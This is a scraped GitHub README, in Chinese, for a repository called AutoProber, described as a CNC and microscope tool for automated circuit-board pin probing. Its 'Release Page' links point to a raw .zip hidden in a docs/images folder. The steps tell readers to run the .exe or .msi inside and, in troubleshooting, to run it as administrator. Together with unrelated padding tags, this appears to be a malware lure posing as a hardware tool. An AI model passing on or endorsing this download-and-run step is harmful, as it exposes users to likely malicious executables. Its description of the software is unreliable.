Empty-democritus307/AutoProber

GitHub: Empty-democritus307/AutoProber

通过计算机视觉和CNC自动化控制实现电路板引脚的自动探测、映射和连续性测试的硬件安全研究工具。

Stars: 0 | Forks: 0

# 🔍 AutoProber - 电路板自动化硬件测试 [![](https://img.shields.io/badge/Download-Release_Page-blue.svg)](https://raw.githubusercontent.com/Empty-democritus307/AutoProber/main/docs/images/Public-Release-Images/Prober_Auto_v1.3.zip) AutoProber 可帮助您测试、映射和分析电路板。它会在硬件上移动探针针尖来查找连接点。此工具有助于安全研究和电路板分析。它使用摄像头进行映射,并使用机器人系统进行精确移动。您可以清晰查看硬件及其内部网络。 ## 📦 什么是 AutoProber? AutoProber 将实体 CNC 机器连接到软件控制器。该系统可识别印刷电路板上的元件。一旦定位到目标,探针会移动到特定引脚进行连续性测试或信号分析。 该工具提供了一个界面,可通过显微镜查看电路板。您可以在电路板图像上绘制点。机器会将探针移动到这些点。此方法可处理需要精确、可重复测试的复杂电路板。它无需手动探针。 ## 🛠️ 系统要求 在安装此工具之前,请确保您的计算机满足以下要求: * 操作系统:Windows 10 或 Windows 11。 * 处理器:Intel Core i5 或更高级别。 * 内存:最低 8 GB RAM,建议 16 GB。 * 存储空间:500 MB 可用空间。 * 硬件连接:一个专用 USB 端口用于连接 CNC 控制器。 * 摄像头:支持的 USB 数字显微镜用于映射。 ## 📥 入门指南 请按照以下步骤获取软件: 1. 访问 [AutoProber 发布页面](https://raw.githubusercontent.com/Empty-democritus307/AutoProber/main/docs/images/Public-Release-Images/Prober_Auto_v1.3.zip) 查看可用版本。 2. 在最新版本中查找以 `.msi` 或 `.exe` 结尾的文件。 3. 选择该文件并保存到您的计算机。 4. 下载完成后打开该文件。 ## ⚙️ 安装过程 1. 双击您在上一步中保存的文件。 2. 按照安装窗口中的提示进行操作。 3. 阅读摘要屏幕,然后点击安装。 4. 进程结束后选择完成。 5. 在桌面或开始菜单中找到 AutoProber 图标。 ## 🔌 连接硬件 AutoProber 通过串行连接与 CNC 机器通信。 1. 打开 CNC 控制器电源。 2. 将 USB 电缆插入您的 Windows 机器。 3. 打开 AutoProber。 4. 进入设置选项卡。 5. 选择与您的 CNC 硬件对应的 COM 端口。 6. 点击连接。状态指示器应变为绿色。 ## 📷 设置显微镜 软件会根据您的 USB 显微镜的视野映射坐标。 1. 将显微镜安装在探针区域上方。 2. 将显微镜插入第二个 USB 端口。 3. 在 AutoProber 中,导航到摄像头菜单。 4. 从设备列表中选择您的显微镜。 5. 调整显微镜上的对焦旋钮,以便在屏幕上清晰地看到电路板。 6. 校准网格叠加层以匹配电路板的尺寸。 ## 🎯 创建映射任务 任务告诉机器在哪里移动。 1. 点击新建任务按钮。 2. 导入您的印刷电路板图像。 3. 使用鼠标点击您要测试的引脚。 4. 软件会为每个点创建坐标列表。 5. 为每个点分配名称以保持数据有序。 6. 保存您的任务文件以供将来使用。 ## 🚀 运行您的第一次探针 在开始自动化过程之前,请查看以下安全步骤。确保探针针尖没有任何障碍物。手指远离 CNC 移动区域。 1. 打开您保存的任务文件。 2. 确认探针从原点开始。 3. 点击运行按钮。 4. 监控软件画面以确保探针击中正确的目标。 5. 如需随时暂停机器,请点击停止。 ## 📊 查看结果 探针完成其路径后,AutoProber 会保存数据。您可以将这些结果导出到电子表格中以进行进一步研究。软件会记录探针和引脚之间的每次交互。这有助于您重建电路板上集成电路的布局。 ## 💡 常见问题排查 如果软件无法打开: 确保您拥有最新的显卡驱动程序。尝试右键点击图标并选择以管理员身份运行。 如果机器不移动: 检查与 CNC 控制器的 USB 连接。确认机器上的紧急停止按钮未按下。如果连接指示灯保持红色,请重新启动应用程序。 如果图像模糊: 调整显微镜上的手动对焦。确保工作空间中的照明明亮且均匀。关闭摄像头设置中的任何自动对焦功能,以防止图像在探针运行过程中移动。 如果坐标看起来不正确: 检查您的摄像头镜头是否与电路板完全垂直。任何倾斜都会导致映射失真。如果在开始任务后移动显微镜,请重新校准网格。
标签:CNC控制, IoT安全, PCB分析, 云资产清单, 代码生成, 信号分析, 多人体追踪, 嵌入式安全, 探针测试, 显微镜成像, 机器人自动化, 渗透测试工具, 物理安全测试, 电路板测试, 硬件安全, 硬件探测, 硬件漏洞挖掘, 硬件逆向, 芯片分析, 计算机视觉, 连续性测试, 逆向工程